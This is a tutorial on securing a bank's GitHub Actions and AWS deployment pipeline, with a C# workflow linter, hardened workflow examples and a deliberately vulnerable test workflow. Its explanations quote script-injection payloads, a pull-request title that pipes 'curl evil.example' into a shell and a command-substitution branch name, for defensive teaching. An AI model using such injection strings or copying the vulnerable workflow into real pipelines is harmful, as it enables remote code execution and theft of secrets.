Pipeline security: protect the machine that deploys your bank
Treat the delivery pipeline as a privileged, attackable system: stop script injection and untrusted pull requests, pin actions and base images, scope tokens and IAM roles, sign and attest artefacts, produce SBOMs, and audit workflows with a small C# linter plus zizmor.
Assumes: .NET 10 LTS · GitHub Actions (actions/attest-build-provenance v4.2.2, anchore/sbom-action v0.24.3, aws-actions/configure-aws-credentials v6.3.0) · Docker BuildKit · AWS CLI v2 · Region us-east-1. Verified against official sources on 2026-11-18.
Learning objectives
By the end of this lesson you can:
- Explain why a pipeline is a high-value target and list its attack surfaces: triggers, expressions, third-party actions, dependencies, tokens, runners, roles and the artefact store.
- Recognise and fix script injection and the untrusted pull request problem in a GitHub Actions workflow.
- Pin actions and base images to immutable references, and keep them current through reviewed updates.
- Scope the
GITHUB_TOKEN, OIDC trust policies and deploy roles so a compromised step cannot reach production. - Create and verify build provenance attestations and SBOMs, and say honestly what they do and do not prove.
- Run a workflow audit (a C# tool you can read in full, plus zizmor) as a pipeline gate.
Prerequisites
- GitHub Actions with OIDC — trust policies on repository, branch and environment.
- Secrets in CI/CD — where secrets live and how masking fails.
- Pipeline security scanning — SAST, dependency, secret and image scanning. This lesson is about securing the pipeline itself; that lesson is about what the pipeline scans.
- Tools: a text editor, Docker or the .NET 10 SDK, and optionally the GitHub CLI (
gh).
Why this matters in banking
Attackers have learnt that the easiest way into production is often not the application but the machine that deploys it. A pipeline holds the keys to every environment and runs a great deal of code written by strangers: third-party actions, build plugins and NuGet packages. Public incidents in recent years followed the same shape:
- A widely used third-party action or scanner was compromised upstream, and every workflow that referenced it by a movable tag ran the attacker's code. Several such incidents have affected popular actions, including a widely reported compromise of a changed-files action in 2025 and, according to this module's lab notes, a supply-chain compromise of a vulnerability-scanner action in March 2026 ⚠ VERIFY the details before you cite either.
- A workflow printed an attacker-controlled pull-request title straight into a shell, so the title became a command (script injection).
- A workflow triggered by
pull_request_targetchecked out and ran code from a fork while holding the base repository's secrets. - A pipeline role was
AdministratorAccess, so the compromised job could create users and persist.
For a bank, the consequence is not a data-breach footnote: an attacker who controls the pipeline can ship a change that skims transactions and leaves a perfectly "approved" audit trail. Operational-resilience and third-party-risk expectations (see Operational resilience and third-party risk) treat build tooling as a supply chain you must understand and control.
The idea in plain language
Think about a pipeline as four things at once: a program (YAML plus scripts), a set of identities (tokens and roles), a collection of dependencies (actions, packages, base images) and a place where untrusted input arrives (pull requests, issue titles, branch names). Each can be attacked, so each needs a control.
| Surface | Attack | Core control |
|---|---|---|
| Triggers | A fork pull request runs with secrets; workflow_run or pull_request_target runs untrusted code with trusted privileges | PR workflows hold no secrets and no cloud role; avoid pull_request_target for code from forks |
| Expressions | ${{ github.event.pull_request.title }} is pasted into a shell script | Pass untrusted values through env: and quote them; never interpolate into run: |
| Third-party actions | A tag is moved to malicious code | Pin to a full commit SHA; review updates; restrict allowed actions |
| Dependencies and images | A malicious or vulnerable package or base image enters the build | Lock and audit packages (NuGet Audit), pin base images by digest, scan, generate an SBOM |
| Tokens | An over-broad GITHUB_TOKEN can push code or alter releases | permissions: at workflow level default to read-only; widen per job |
| Cloud identity | A stolen role session does damage | OIDC trust bound to repository and environment; narrow permissions; short sessions |
| Runners | A job leaves behind files or credentials for the next job (self-hosted runners) | Ephemeral runners; no shared state; network egress limits |
| Artefact store | Someone overwrites an image tag or uploads a different artefact | Immutable tags; digest deployments; signed provenance; locked-down bucket and registry policies |
| The pipeline definition | An attacker edits the workflow to exfiltrate secrets | CODEOWNERS and branch protection on .github/; reviewed changes only |
Analogy: the pipeline is a bank's cash-in-transit depot. You secure the vault (production), but also the depot gate (triggers), the drivers (third-party actions), the vans (runners), the key cabinet (tokens and roles) and the seals on the bags (signed artefacts). A guard who checks the vault but waves the van through unchecked has not secured the system.
What the major terms mean
- Script injection: an attacker-controlled string becomes part of a command because the workflow template substitutes it into a script before the shell parses it.
- Pinning: referring to an action by commit SHA (
actions/checkout@3d3c42e5…) instead of a movable tag (@v4). A tag can be re-pointed; a full SHA cannot. - Provenance attestation: a signed statement saying "this artefact (identified by digest) was built from this repository, at this commit, by this workflow." GitHub can produce one with the
actions/attest-build-provenanceaction. - SBOM (software bill of materials): an ingredient list of the artefact's packages, in a format such as SPDX or CycloneDX.
- SLSA (Supply-chain Levels for Software Artifacts): a framework of progressively stronger build-integrity levels. Provenance and isolated builds are the main ingredients ⚠ VERIFY which SLSA level your setup meets before claiming one.
What problem the controls solve
| Control | What it gives you | Limits and sharp edges |
|---|---|---|
| Full-SHA pinning | Upstream cannot silently change the code you run | You must update deliberately; use Dependabot for reviewed pull requests. A pinned action can still call unpinned dependencies of its own |
permissions: block | Least privilege for the GITHUB_TOKEN | A job that sets permissions: replaces the defaults entirely; list everything it needs |
| Environment protection rules | Required reviewers and branch restrictions before a job gets environment secrets or an OIDC environment subject | Admin bypass can exist unless you disable it ⚠ VERIFY for your plan |
| OIDC trust conditions | A role assumable only from one repository and context | A wildcard sub (for example repo:org/*) reopens the hole |
| Artefact attestations | Evidence of where and how an artefact was built | They prove origin, not safety; a malicious commit still gets a valid attestation |
| SBOM | Fast answers to "are we affected by this new CVE?" | Only as complete as the generator; does not prove the packages are safe |
| Image signing (Notation with AWS Signer, or Cosign) | A verifiable signature on the image | Something must verify the signature at deploy time; ECS does not do so by itself ⚠ VERIFY current ECS and AWS Signer capabilities |
| Allowed-actions policy | Organisation-level allow-list of actions | Needs maintenance; a "require full SHA pinning" repository or organisation setting exists in GitHub ⚠ VERIFY its availability on your plan |
| Static workflow analysis (zizmor, actionlint) | Finds injection, excessive permissions, unpinned references | A linter cannot see your intent; treat findings as review input |
Microsoft / Azure comparison
| You know (Microsoft/Azure) | AWS or GitHub equivalent | What is different |
|---|---|---|
| Azure Pipelines approved tasks / extensions | GitHub allowed-actions policy plus SHA pinning | No marketplace gatekeeping by default; you set the policy |
| Pipeline environment checks and approvals | GitHub environment protection rules; CodePipeline manual approval | Environments also gate the OIDC sub claim |
| Secure files / secret variables | Environment secrets, Secrets Manager | See the secrets lesson; the pipeline should hold as few as possible |
| Managed identity or workload identity federation to Azure | OIDC to an IAM role | Same idea: no stored secret |
| Microsoft Defender for DevOps | GitHub code scanning/advanced security, Amazon Inspector, Security Hub | Different products; map controls, not names ⚠ VERIFY current product scope |
| Azure Policy to restrict who can deploy | IAM permission boundaries, SCPs, resource policies | Policies on the AWS side also constrain a compromised pipeline role |
| Microsoft-hosted vs self-hosted agents | GitHub-hosted (ephemeral) vs self-hosted runners | Self-hosted runners are persistent unless you make them ephemeral |
Architecture
Defence in depth around one release
Security-boundary view
Data may flow downwards through the zones, but trust never flows upwards: nothing in zone 0 may influence what runs with zone 2 or 3 privileges, except through a reviewed merge.
Step-by-step implementation
Inventory and classify what the pipeline trusts
List every uses: reference, every base image, every package source, every token and every role. For each, write who controls it and how it is pinned. Most teams discover a dozen unpinned references in the first pass.
Lock down the token
Add a workflow-level permissions: contents: read. Widen only inside the job that needs more (for example id-token: write for OIDC, attestations: write for provenance). Remember the job-level block replaces, not extends, the workflow-level one.
Remove injection sinks
Search workflows for ${{ github.event, github.head_ref, inputs. and steps.*.outputs inside run: or script:. Move each to an env: entry and use the shell variable, quoted.
Separate untrusted from trusted triggers
Pull-request workflows run with pull_request (no secrets for forks) and have no cloud role. Never use pull_request_target or workflow_run to execute code from the pull request. If you must comment on a PR, split it into two workflows: an untrusted one that uploads results as an artefact, and a trusted one that only reads the artefact as data.
Pin and update with review
Pin every third-party action to a full commit SHA and note the version in a comment. Pin base images by digest. Add Dependabot for github-actions, nuget, docker and terraform, so updates arrive as reviewed pull requests. The lab's dependabot.yml does this.
Narrow the cloud side
Bind each role's trust policy to one repository and one environment or branch. Give each role only the actions and resources it needs. Add a permissions boundary to pipeline roles so even a mistaken policy attachment cannot grant IAM administration. Add an SCP that denies deployments except through the pipeline role (see Environment separation).
Sign, attest and record
Generate provenance with actions/attest-build-provenance and an SBOM with a generator such as Syft (via anchore/sbom-action). Store them with the image or as retained artefacts. Verify the attestation before deployment.
Gate on the audit
Run a workflow linter in CI. The C# tool in this lesson catches the most common mistakes; zizmor catches many more. Treat errors as build failures and require CODEOWNERS approval for anything under .github/.
AWS Console instructions
The GitHub-side settings are in the GitHub web UI; the AWS-side checks are in the console.
GitHub (repository or organisation):
- Settings → Actions → General → Actions permissions. Choose to allow only actions you select, or GitHub-owned and verified creators, and list the exceptions. If the page offers a Require actions to be pinned to a full-length commit SHA option, enable it ⚠ VERIFY availability.
- Settings → Actions → General → Workflow permissions. Choose Read repository contents and packages permissions, and leave Allow GitHub Actions to create and approve pull requests off.
- Settings → Actions → General → Fork pull request workflows. Require approval for all outside collaborators.
- Settings → Rules → Rulesets. Protect
mainand require review from code owners. Add.github/to CODEOWNERS (see Git and GitHub for regulated teams).
AWS:
- Console → IAM → Roles → your deploy role → Trust relationships. Confirm
audissts.amazonaws.comandsubis an exact string without wildcards. - Console → IAM → Roles → your deploy role → Permissions boundary. Confirm a boundary is set.
- Console → ECR → Repositories → your repository → Permissions. Confirm only the push role may push, and tag immutability is on.
- Console → CloudTrail → Event history, filter Event name = AssumeRoleWithWebIdentity. Review which subjects assumed which roles.
AWS CLI
P=learn-sandbox
# 1. Show who may assume a role (the trust policy). Look for exact 'sub' values and no wildcards.
aws iam get-role --role-name hl-m09-gh-deploy-prod \
--query 'Role.AssumeRolePolicyDocument' --profile $P
# 2. Show the permissions boundary attached to a role (empty output means none).
aws iam get-role --role-name hl-m09-gh-deploy-prod \
--query 'Role.PermissionsBoundary.PermissionsBoundaryArn' --profile $P
# 3. Check ECR tag immutability and scan-on-push for a repository.
aws ecr describe-repositories --repository-names hl-m09-accounts-api \
--query 'repositories[0].{immutability:imageTagMutability,scanOnPush:imageScanningConfiguration.scanOnPush}' \
--profile $P --region us-east-1
# 4. Who assumed roles through GitHub's OIDC provider recently? (CloudTrail management events)
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
--max-results 20 \
--query 'Events[].[EventTime,Resources[0].ResourceName]' --output table \
--profile $P --region us-east-1
# 5. Verify a GitHub provenance attestation for an image you pulled (GitHub CLI, not AWS).
# The owner flag limits trust to attestations produced by your organisation.
gh attestation verify oci://111122223333.dkr.ecr.us-east-1.amazonaws.com/hl-m09-accounts-api@sha256:4b1f9c0e2d7a6b5c8e3f1a0d9c8b7a6f5e4d3c2b1a09f8e7d6c5b4a39281706f \
--owner harbourline-learnCommand 5 needs the image to be reachable by the GitHub CLI and the attestation to be stored in a place it can query; the lab's release.yml creates the attestation with push-to-registry: false, so verification there uses the attestation stored by GitHub ⚠ VERIFY the exact gh attestation verify form for container images in your environment.
Infrastructure as Code
Two AWS-side controls that matter for pipeline security: a permissions boundary that caps pipeline roles, and a locked-down artefact bucket.
using Amazon.CDK;
using Amazon.CDK.AWS.IAM;
using Amazon.CDK.AWS.S3;
using Constructs;
namespace Harbourline.Pipelines;
public class PipelineGuardrailsStack : Stack
{
public ManagedPolicy PipelineBoundary { get; }
public PipelineGuardrailsStack(Construct scope, string id, IStackProps? props = null) : base(scope, id, props)
{
// A permissions boundary is a ceiling: effective permissions are the intersection of the
// role's own policies and this boundary, so a mistaken attachment cannot grant more.
PipelineBoundary = new ManagedPolicy(this, "PipelineBoundary", new ManagedPolicyProps
{
ManagedPolicyName = "hl-pipeline-boundary",
Document = new PolicyDocument(new PolicyDocumentProps
{
Statements = new[]
{
new PolicyStatement(new PolicyStatementProps
{
Sid = "AllowOnlyDeploymentServices",
Effect = Effect.ALLOW,
Actions = new[]
{
"ecr:*", "ecs:*", "logs:*", "cloudwatch:*", "elasticloadbalancing:*",
"s3:GetObject", "s3:PutObject", "iam:PassRole",
},
Resources = new[] { "*" },
}),
new PolicyStatement(new PolicyStatementProps
{
Sid = "NeverManageIdentitiesOrTheBoundary",
Effect = Effect.DENY,
Actions = new[]
{
"iam:CreateUser", "iam:CreateAccessKey", "iam:CreateRole", "iam:AttachRolePolicy",
"iam:PutRolePolicy", "iam:DeleteRolePermissionsBoundary", "organizations:*",
},
Resources = new[] { "*" },
}),
},
}),
});
// Artefact bucket: encrypted, private, TLS only, versioned.
_ = new Bucket(this, "Artifacts", new BucketProps
{
Encryption = BucketEncryption.S3_MANAGED, // use a customer managed KMS key in production
BlockPublicAccess = BlockPublicAccess.BLOCK_ALL,
EnforceSSL = true,
Versioned = true,
RemovalPolicy = RemovalPolicy.DESTROY, // Learning shortcut
AutoDeleteObjects = true, // Learning shortcut
});
Amazon.CDK.Tags.Of(this).Add("Project", "cea-lab");
Amazon.CDK.Tags.Of(this).Add("Lab", "m09-pipeline-security");
}
}Role creation (new Role(..., new RoleProps { PermissionsBoundary = boundary })) then references PipelineBoundary.
A boundary that allows ecs:* is broad on purpose in this teaching example; tighten the actions and resources to your service.
Complete code
1. A hardened workflow
The patterns in one place: read-only token, no persisted checkout credentials, pinned actions, untrusted data through env:, narrow job permissions, provenance attestation.
name: hardened-example
on:
pull_request:
branches: [main]
push:
branches: [main]
# Default for every job: read the code, nothing else.
permissions:
contents: read
jobs:
pr-checks:
# Safe even for forks: no secrets, no cloud role, read-only token.
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
# BAD (do not do this): run: echo "Title is ${{ github.event.pull_request.title }}"
# GOOD: the value reaches the shell as data in an environment variable, not as script text.
- name: Print the pull request title safely
if: github.event_name == 'pull_request'
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
printf 'Title: %s\n' "$PR_TITLE"
- name: Audit the workflows themselves
run: |
docker run --rm -v "$PWD:/w" -w /w mcr.microsoft.com/dotnet/sdk:10.0 \
dotnet run tools/WorkflowAudit.cs -- /w/.github/workflows
build-and-attest:
if: github.event_name == 'push'
needs: pr-checks
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
id-token: write # lets the job request an OIDC token; grants nothing by itself
attestations: write # lets the job store a provenance attestation
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Build a tiny artefact (stand-in for your image)
run: |
mkdir -p dist
echo "harbourline accounts api ${{ github.sha }}" > dist/app.txt
sha256sum dist/app.txt > dist/app.txt.sha256
- name: Attest build provenance
uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
with:
subject-path: dist/app.txt2. A workflow audit you can read in full
This single-file C# program checks the five mistakes below. It is deliberately simple so you can read every line and adapt it. It was run against the lab's three workflows (no errors) and against a deliberately bad workflow (six errors).
| Rule | Severity | What it flags |
|---|---|---|
| WA001 | error | uses: not pinned to a 40-character commit SHA |
| WA002 | error | no top-level permissions: block |
| WA003 | error | ${{ github.event.* }}, github.head_ref or inputs.* inside a run: script |
| WA004 | warning | pull_request_target trigger |
| WA005 | error | a reference to an AWS secret access key |
// Usage: dotnet run WorkflowAudit.cs -- <workflows-directory>
// A deliberately small linter for the mistakes that cause most GitHub Actions incidents.
// Exit code 1 if any ERROR is found. For a thorough tool, run zizmor as well (see the lesson).
using System.Text.RegularExpressions;
if (args.Length != 1 || !Directory.Exists(args[0]))
{
Console.Error.WriteLine("usage: WorkflowAudit <workflows-directory>");
return 2;
}
var usesRe = new Regex(@"^\s*(?:-\s+)?uses:\s*(?<ref>\S+)", RegexOptions.Compiled);
var pinnedRe = new Regex(@"@[0-9a-f]{40}$", RegexOptions.Compiled);
var runRe = new Regex(@"^(?<indent>\s*)(?:-\s+)?run:\s*(?<rest>.*)$", RegexOptions.Compiled);
var untrustedRe = new Regex(@"\$\{\{\s*(github\.event\.|github\.head_ref|inputs\.)", RegexOptions.Compiled);
var errors = 0;
foreach (var file in Directory.EnumerateFiles(args[0], "*.y*ml").OrderBy(f => f))
{
var lines = File.ReadAllLines(file);
var name = Path.GetFileName(file);
void Report(string severity, string rule, int line, string message)
{
Console.WriteLine($"{severity,-5} {rule} {name}:{line} {message}");
if (severity == "ERROR")
{
errors++;
}
}
if (!lines.Any(l => Regex.IsMatch(l, @"^permissions:")))
{
Report("ERROR", "WA002", 1, "no top-level 'permissions:' block; the default GITHUB_TOKEN may be broader than needed");
}
var runIndent = -1; // indentation of the current 'run:' key, or -1 when not inside a run block
for (var i = 0; i < lines.Length; i++)
{
var line = lines[i];
var number = i + 1;
var indent = line.Length - line.TrimStart().Length;
if (runIndent >= 0 && line.Trim().Length > 0 && indent <= runIndent)
{
runIndent = -1;
}
if (runIndent >= 0 && untrustedRe.IsMatch(line))
{
Report("ERROR", "WA003", number, "untrusted expression inside a run: script; pass it through env: and quote the variable");
}
var run = runRe.Match(line);
if (run.Success)
{
var rest = run.Groups["rest"].Value.Trim();
if (rest.Length == 0 || rest[0] is '|' or '>')
{
runIndent = run.Groups["indent"].Value.Length;
}
else if (untrustedRe.IsMatch(rest))
{
Report("ERROR", "WA003", number, "untrusted expression inside a run: script; pass it through env: and quote the variable");
}
}
var uses = usesRe.Match(line);
if (uses.Success)
{
var reference = uses.Groups["ref"].Value;
if (!reference.StartsWith("./") && !pinnedRe.IsMatch(reference))
{
Report("ERROR", "WA001", number, $"'{reference}' is not pinned to a full commit SHA");
}
}
if (Regex.IsMatch(line, @"^\s*pull_request_target\s*:"))
{
Report("WARN", "WA004", number, "pull_request_target runs with base-repository secrets; never check out or run PR code in it");
}
if (Regex.IsMatch(line, @"AWS_SECRET_ACCESS_KEY|aws-secret-access-key", RegexOptions.IgnoreCase))
{
Report("ERROR", "WA005", number, "a long-lived AWS key is referenced; use OIDC and an IAM role instead");
}
}
}
Console.WriteLine(errors == 0 ? "No errors." : $"{errors} error(s).");
return errors == 0 ? 0 : 1;Try it on a bad workflow:
name: bad
on:
pull_request_target:
jobs:
x:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: echo "${{ github.event.pull_request.title }}"
- name: multi
run: |
echo hi
echo "${{ github.head_ref }}"
- uses: aws-actions/configure-aws-credentials@v4
with:
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}dotnet run tools/WorkflowAudit.cs -- ./bad-workflowsExpected output (six errors, one warning, exit code 1):
ERROR WA002 bad.yml:1 no top-level 'permissions:' block; the default GITHUB_TOKEN may be broader than needed
WARN WA004 bad.yml:3 pull_request_target runs with base-repository secrets; never check out or run PR code in it
ERROR WA001 bad.yml:8 'actions/checkout@v4' is not pinned to a full commit SHA
ERROR WA003 bad.yml:9 untrusted expression inside a run: script; pass it through env: and quote the variable
ERROR WA003 bad.yml:13 untrusted expression inside a run: script; pass it through env: and quote the variable
ERROR WA001 bad.yml:14 'aws-actions/configure-aws-credentials@v4' is not pinned to a full commit SHA
ERROR WA005 bad.yml:16 a long-lived AWS key is referenced; use OIDC and an IAM role instead
6 error(s).3. Verify before you deploy
A deployment job should check what it is about to deploy. A minimal version fetches the digest that the build job produced and refuses anything else (this is the "build once, deploy the digest" rule enforced as code):
set -euo pipefail
# IMAGE comes from the build job's output: repository@sha256:...
case "$IMAGE" in
*@sha256:*) ;;
*) echo "Refusing to deploy a tag-only reference: $IMAGE" >&2; exit 1 ;;
esacCode explained line by line
hardened-example.yml
permissions: contents: readat the top — every job starts from the smallest token. A job that needs more declares its own block.persist-credentials: false—actions/checkoutotherwise stores the token in.git/config, where any later step (or any malicious dependency) can read it.env: PR_TITLE: ${{ github.event.pull_request.title }}— GitHub substitutes the value into the environment, not into the script text. The shell sees a variable, so a title such as"; curl evil.example | sh #is just a string.printf 'Title: %s\n' "$PR_TITLE"— quoting stops word-splitting;printfwith a format string stops the value being interpreted as a format.if: github.event_name == 'push'on the second job — attestation and any cloud work happen only after merge, not on pull requests.id-token: write/attestations: write— only the job that signs provenance may request these; neither is granted to the pull-request job.subject-path: dist/app.txt— the attestation binds the build to this file's digest. For an image you passsubject-nameandsubject-digestinstead, as the lab'srelease.ymldoes.
WorkflowAudit.cs
usesRe— matchesuses: owner/action@refwith or without a leading-.pinnedRe = @[0-9a-f]{40}$— a reference is considered pinned only if it ends with@plus 40 hexadecimal characters.runReandrunIndent— YAML block scalars (run: |) are tracked by indentation: lines indented deeper than therun:key belong to the script.untrustedRe— flags three families of attacker-controlled data: event payload fields, the pull-request source branch name and manual workflow inputs.if (!lines.Any(... "^permissions:"))— a top-level (column zero)permissions:block is required. Job-level blocks are indented, so they do not satisfy this check.return errors == 0 ? 0 : 1— CI gets a non-zero exit code when any error was reported.
Limits: it is line-based, not a YAML parser, so it misses indirect cases (a value passed through steps.*.outputs into a script, or reusable workflow inputs). That is why you also run zizmor.
Security considerations
⚠ Learning shortcut — not for production
The hardened-example.yml runs the audit by pulling a public SDK image and a source file from the same repository, and the artefact stand-in is a text file. In production, pin the SDK image by digest, require CODEOWNERS approval for tools/ as well as .github/, and attest your real container image. The permissions boundary above allows ecs:* and ecr:* on all resources for brevity; a production boundary names exact resources and conditions.
- Pinning moves the trust, it does not remove it. You trust the commit you reviewed. Review what changes in a Dependabot pull request: the diff of the action's source, not just the version number.
- A valid attestation is not a safe artefact. It says where the artefact came from. If an attacker merges a malicious change through your approval process, the attestation is still valid. Review and segregation of duties remain essential.
- Do not trust
github.actoror branch names. Attackers choose branch names (feature/$(curl ...)) and pull-request titles; treat all as untrusted text. - Self-hosted runners are persistent machines. Use ephemeral runners, isolate them in a dedicated network with restricted egress, and never run untrusted pull requests on them.
- Tools run with the pipeline's privileges. A scanner or linter you add is also a dependency to vet and pin.
- Compliance. These controls support but do not constitute compliance with any framework. Mapping them to PCI DSS, your operational-resilience policy or third-party-risk rules is for your compliance and security teams.
Banking use case
Harbourline's platform team owns .github/ and policies/, which CODEOWNERS enforces. Application developers cannot approve their own pipeline changes.
When a popular scanner action is reported as compromised, the team answers the three questions that matter within minutes:
- Were we using it? A search for the action name across all repositories.
- Were we using the affected version? Because every action is pinned to a SHA, the answer is exact, not "probably".
- What could it reach? The pull-request workflow had no secrets and no cloud role; the release workflow's push role could write to one ECR repository and nothing else, and it assumed that role only after merge.
They rotate nothing, because no long-lived secrets existed to steal, and they use the SBOMs to confirm which images contained the action's output. The incident report is two paragraphs.
Common mistakes
- Pinning to a tag and calling it pinned → tags move → use the full commit SHA with a version comment.
- Allowing every action → any marketplace action can run in your pipeline → set an allow-list.
- Using
pull_request_target"to get secrets in PRs" → fork code runs with your secrets → split into an untrusted workflow and a trusted one that only reads artefacts as data. - Interpolating event data into
run:→ script injection → useenv:. - Granting
id-token: writeworkflow-wide → every job can request tokens → grant it only on jobs that assume a role. - A wildcard
subin a trust policy → any branch, or even any repository, can assume the role → exact strings only. - Skipping CODEOWNERS on
.github/→ anyone with write access can alter the pipeline → require platform and security review. - Signing without verifying → signatures that nobody checks add no protection → verify in the deployment job or an admission control.
- Treating the linter as complete → a green result is not a safe pipeline → combine tools, reviews and runtime controls.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
WorkflowAudit reports WA001 for a local action | Reference starts with something other than ./ | Use a relative path such as ./.github/actions/x |
WorkflowAudit reports WA002 but you set permissions | Block is indented under a job, not at top level | Add a top-level permissions: |
Resource not accessible by integration | Token lacks a permission after you restricted it | Add only that permission to the job that needs it |
attest-build-provenance fails with a permissions error | Missing id-token: write or attestations: write on the job | Add both to that job's permissions: |
gh attestation verify finds no attestation | Wrong subject, owner flag, or attestation not stored | Check the digest, the --owner, and that the attest step ran for that digest |
Dependabot PR to update an action fails uses pin check | Update changed the format | Dependabot updates full-SHA pins and the version comment together; re-run the audit |
| zizmor reports many findings on an old repository | Years of unpinned and over-permissioned workflows | Fix by severity; start with injection and permissions |
AccessDenied from a deploy role after adding a boundary | The boundary does not allow the action | Add the exact action and resource to the boundary after reviewing why it is needed |
Cost and cleanup
Cost: free. Workflow linting, pinning and attestation use GitHub-hosted minutes (public repositories are free; private ones have a monthly allowance ⚠ VERIFY). The IaC examples create IAM policies (free) and an S3 bucket (cents, if used at all); do not apply them unless you want to inspect them.
If you did apply the guardrails example, remove it:
# CDK
cdk destroy PipelineGuardrailsStack --profile learn-sandbox
# Terraform (from the folder containing pipeline_guardrails.tf)
terraform destroy
# Confirm nothing from the lab remains
aws resourcegroupstaggingapi get-resources --tag-filters Key=Lab,Values=m09-pipeline-security \
--profile learn-sandbox --region us-east-1Exercises
- 🟢 Guided: Create
bad.ymlas shown, runWorkflowAudit.csagainst its folder, and fix each finding until the tool reports "No errors". Run it againstlabs/m09-delivery-pipeline/.github/workflowsand confirm it is clean. - 🟡 Challenge: Extend
WorkflowAudit.cswith rule WA006: flag any job that setsid-token: writebut has noenvironment:and noif:restricting it to pushes onmain. Explain which attack that reduces and one false positive it will produce. - 🔴 Live problem: Security announces that a third-party action used in 40 repositories was compromised for 18 hours, and asks within two hours: which repositories ran it, which secrets and roles were reachable, and what must be rotated. Describe your investigation using only the pipeline's own evidence, what you would change afterwards, and what you would tell the incident manager at the one-hour mark.
Assignment
Add a SECURITY-PIPELINE.md to your portfolio repository documenting your pipeline's threat model on one page: the five surfaces from this lesson, the control for each, and the evidence that the control works (for example "workflow audit job, run URL", "trust policy JSON and trust-eval results"). Add WorkflowAudit.cs as a required check for pull requests that touch .github/.
Solutions
Fixed bad.yml:
name: good
on:
pull_request:
permissions:
contents: read
jobs:
x:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
printf 'Title: %s\n' "$PR_TITLE"
- uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
with:
role-to-assume: arn:aws:iam::111122223333:role/example-role
aws-region: us-east-1Why each change: the trigger becomes pull_request so fork code never gets base-repository secrets; permissions are explicit; actions are pinned; the title goes through env:; the long-lived key is replaced by a role (which would also need id-token: write on its job and an OIDC trust policy). The lab workflows should report "No errors." If a fix for the OIDC step trips the audit, check whether you added a pinned reference.
Approach: when a line id-token: write appears inside a job's permissions:, look in that job for environment: or an if: containing refs/heads/main. Because the tool is line-based, track the current job by indentation. A simple version reports WA006 when the job block contains id-token: write and neither environment: nor github.ref == 'refs/heads/main' nor github.event_name == 'push'.
It reduces the risk that a pull-request job (including one that an attacker influences) can request an OIDC token. A false positive: a job protected instead by the workflow-level on: push: branches: [main] trigger, which the line-based tool cannot see. Document such cases as reviewed exceptions rather than loosening the rule.
- First hour: scope. Search all repositories' workflow files for the action name (code search or a scripted
gh search code). Split into pinned to an unaffected SHA, pinned to an affected SHA, and unpinned (assume affected). Pull run history for the 18-hour window for each affected repository. - Reach. For each affected run, list the job's secrets (environment and repository), its
permissions:, and the role it assumed (CloudTrailAssumeRoleWithWebIdentityevents show the subject and role). Pull-request-only workflows with no secrets and no role have no reach. - Rotate and contain. Rotate every secret that an affected job could read; revoke sessions for assumed roles if needed; check CloudTrail for activity by those roles during the window.
- Afterwards. Enforce SHA pinning and an allow-list organisation-wide; reduce secrets by moving to OIDC; add the audit gate; keep SBOMs and attestations to answer "what did it touch" faster.
- One-hour message: how many repositories ran it, which are confirmed to have had no secret exposure, which are being rotated, and when the next update will come. Separate facts from assumptions.
The reason to rely on the pipeline's evidence (run history, CloudTrail, pinned references) is that incident response is only as fast as the records you already keep.
Knowledge check
Answer: A tag is a pointer that the action's owner (or an attacker with their credentials) can move to different code. A full 40-character commit SHA cannot be re-pointed, so you run exactly the code you reviewed.
Answer: With ${{ ... }} inside run:, GitHub substitutes the text into the script before the shell parses it, so the title can contain commands. With env:, the title is placed into an environment variable and the shell treats it as data, especially when quoted.
Answer: It proves which repository, commit and workflow produced an artefact with a given digest. It does not prove the code is free of vulnerabilities or malicious intent; a malicious commit approved through a weak review still gets a valid attestation.
Answer: A boundary is a ceiling on effective permissions. Even if someone attaches an over-broad policy to the role, the boundary limits what it can do, and you can deny identity-management actions so the pipeline cannot create persistence.
Answer: pull_request_target runs in the context of the base repository with its secrets and a write-capable token, while the checkout runs untrusted fork code. The attacker's code gets your privileges. Use pull_request for running code from PRs.
Interview questions
- "How would you secure a CI/CD pipeline at a bank?" Cover surfaces (triggers, expressions, actions, tokens, roles, artefacts) and one control each: no secrets on PRs,
env:for untrusted data, SHA pinning, least-privilege token and OIDC role, immutable and attested artefacts, CODEOWNERS on pipeline files. - "What is script injection in GitHub Actions?" Attacker-controlled text substituted into a script before parsing; fix with environment variables and quoting.
- "A dependency in our pipeline was compromised. What do you do?" Scope by pinned references and run history, assess reach by token and role, rotate, check CloudTrail, then harden.
- "Provenance versus signing versus SBOM?" Provenance says where it was built; a signature says who vouched for it and that it is unmodified; an SBOM says what is inside. None says it is safe.
- "Where should the human review sit?" On pipeline definitions (CODEOWNERS), on production approvals by someone other than the author, and on dependency updates.
Certification practice
A GitHub Actions workflow deploys to AWS. A security review finds the repository stores an IAM user access key as a secret, and the workflow uses pull_request_target. Which two changes give the largest risk reduction?
A. Rotate the access key monthly and keep pull_request_target.
B. Replace the key with OIDC federation to a role scoped to the repository and environment, and run pull-request code under pull_request with no cloud role.
C. Encrypt the secret with a customer managed KMS key.
D. Add a CloudWatch alarm for failed deployments.
Answer: B. Federation removes the long-lived key, and a scoped trust policy limits who can assume the role. Running PR code under pull_request removes secrets from untrusted code. A shortens exposure only. C does not stop a running job reading the secret. D detects, it does not prevent.
A deploy role's trust policy uses the condition StringLike on token.actions.githubusercontent.com:sub with the value repo:harbourline-learn/*. What is the risk?
A. None; the audience claim still protects the role. B. Any repository in the organisation, on any branch or environment, can assume the role. C. Only forks can assume the role. D. The role cannot be assumed at all.
